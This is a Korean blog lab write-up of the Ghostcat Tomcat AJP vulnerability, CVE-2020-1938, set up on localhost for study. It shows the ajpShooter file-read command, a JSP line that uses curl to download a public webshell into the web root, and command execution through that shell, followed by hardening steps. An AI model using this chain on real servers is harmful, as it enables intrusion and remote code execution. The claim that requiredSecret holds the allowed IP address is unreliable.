Ghostcat 취약점 실습 : CVE-2020-1938

 


실습 환경 
Windows 10

Tomcat 8.5.50
Java 16.0.1
python 3.8.3

 

 

Ghostcat 취약점이란?


CVE-2020-1938은 Apache Tomcat 취약점이다. Tomcat에는 포트 8080을 사용하는 HTTP 커넥터와 포트 8009를 사용하는 AJP 커넥터가 있다. HTTP 커넥터는 http 웹 서비스를 제공하고 AJP는 데이터 교환에 사용된다. 따라서, ajp 커넥터는 디폴트로 포트 8009를 통해 활성화되어 있다. 이때 공격자는 AJP 버그를 이용하여 서버에 있는 파일에 접근할 수 있다. 해당 취약점 발견 당시, 톰캣 9/8/7/6 버전에 영향을 미쳐 휴면 상태였기에 Ghostcat이라고 불린다.

 

 

 

실습 환경

 

Windows 10

 

Tomcat 8.5.50

 

Tomcat 설치하기 (for window)

Tomcat 설치 아래의 사이트에서 원하는 버전의 톰켓을 다운로드합니다. https://archive.apache.org/dist/tomcat/ 압축을 풀고 설치하고 싶은 위치로 이동합니다. 저의 경우 c:/로 이동하였습니다. 환경변수를

study-ce.tistory.com

 

Java 16.0.1 ( 버전 상관 없음 )

 

JAVA 설치하기 (for window)

자바 설치하기 아래의 사이트에서 JDK를 다운로드합니다. https://www.oracle.com/java/technologies/javase-downloads.html  다운로드한 exe파일을 실행합니다. Next를 누릅니다. default로 설정된 위치에 설..

study-ce.tistory.com

 

Python 3.8.3 ( 버전 상관 없음 )

 

 

 


실습

 

 

① 톰켓 구동 테스트

 

아래의 프로젝트를 다운로드하여 file.jsp, viewPage.jsp를 apache-tomcat-8.5.50/webapps/ROOT 폴더에 추가하고 cos.jar를 apache-tomcat-8.5.50/lib에 추가합니다. 

 

GitHub - haerin7427/CVE_2020_1938

Contribute to haerin7427/CVE_2020_1938 development by creating an account on GitHub.

github.com

 

apache-tomcat-8.5.50/webapps/ROOT 에 file이라는 이름을 가진 폴더를 만듭니다.

 

127.0.0.1:8080/file.jsp 사이트가 제대로 실행되는지 확인합니다.

 

파일 업로드 기능을 테스트 하기위해 로컬에 있는 파일을 선택하여 업로드합니다.

user명과 title명은 상관없습니다. 

 

업로드 버튼을 누르면 해당 파일이 업로드된 위치가 뜹니다.

 

해당 위치에 업로드한 파일이 있는지 확인합니다.

 

 

② 공격

: 웹에서 확인 불가능한 web.xml 파일을 확인하고 jsp 파일을 추가하여 페이지의 CMD 기능을 통해 명령어 실행

 

 

1. 웹에서 web.xml 확인 > 127.0.0.1:8080/WEB-INF/web.xml 접속

 

2. POC 공격 툴 다운 및 압축 풀기

 

GitHub - 00theway/Ghostcat-CNVD-2020-10487: Ghostcat read file/code execute,CNVD-2020-10487(CVE-2020-1938)

Ghostcat read file/code execute,CNVD-2020-10487(CVE-2020-1938) - GitHub - 00theway/Ghostcat-CNVD-2020-10487: Ghostcat read file/code execute,CNVD-2020-10487(CVE-2020-1938)

github.com

 

3. CMD에서 다운로드한 POC코드를 사용하여 8009 포트가 연결된 AJP 커넥터를 통해 web.xml 읽기 시도

> python ajpShooter.py http://127.0.0.1 8009 /WEB-INF/web.xml read 

읽기 성공 ! ☞ 톰켓 취약점 확인

 

 

4. ghostcat.txt라는 텍스트 파일을 만들고 아래의 코드를 입력합니다.

코드는 서버에서 cmd를 이용해 cmd.jsp 파일을 다운로드하는 명령어입니다.

<% Runtime.getRuntime().exec("cmd.exe /C curl -o ..\\webapps\\ROOT\\cmd.jsp https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp"); %>

CMD에서 https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp 의 리소스를 ..\webapps\ROOT\cmd.jsp를 생성하여 출력하도록 명령합니다.

 

5. ghostcat.txt를 업로드합니다.

 

6. read 명령어를 통해 업로드한 파일에 접근 가능한 것을 확인하고 eval 명령어를 통해 ghostcat.txt를 jsp로 실행합니다.

>> 업로드 기능을 통해 url상에 있는 웹셀을 다운로드하여 실행

 

 

7. cmd.jsp를 확인할 수 있습니다.

 

8. 127.0.0.1:8080/cmd.jsp?cmd=whoami 에 접속 > 해당 페이지의 cmd 기능을 통해 명령어 실행이 가능

 

 

③ 방어

 

tomcat을 최신버전으로 업데이트 할 수 없다면,

C:\apache-tomcat-8.5.50\conf에 있는 server.xml을 수정해야 한다.

 

 

▶ AJP 커넥터를 사용하지 않는 경우, AJP connector를 비활성화 합니다.

☞ server.xml 의 아래 부분을 주석처리

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

 

아래와 같이 수정

 

 

▶ AJP 커넥터를 사용하는 경우,  AJP connector를 사용할 수 있는 ip주소를 제한합니다. (1개만 등록가능)

server.xml 의 동일 부분에 requiredSecret 속성을 추가한다.

해당 속성의 값에는 ajp 커넥터 사용을 허가하는 IP 값을 넣어준다.

 

수정후 톰켓을 재시작하여 적용한다.

 

 

 

 

 

참고사이트

https://ddungkill.tistory.com/129

https://blog.naver.com/ncloud24/221835089435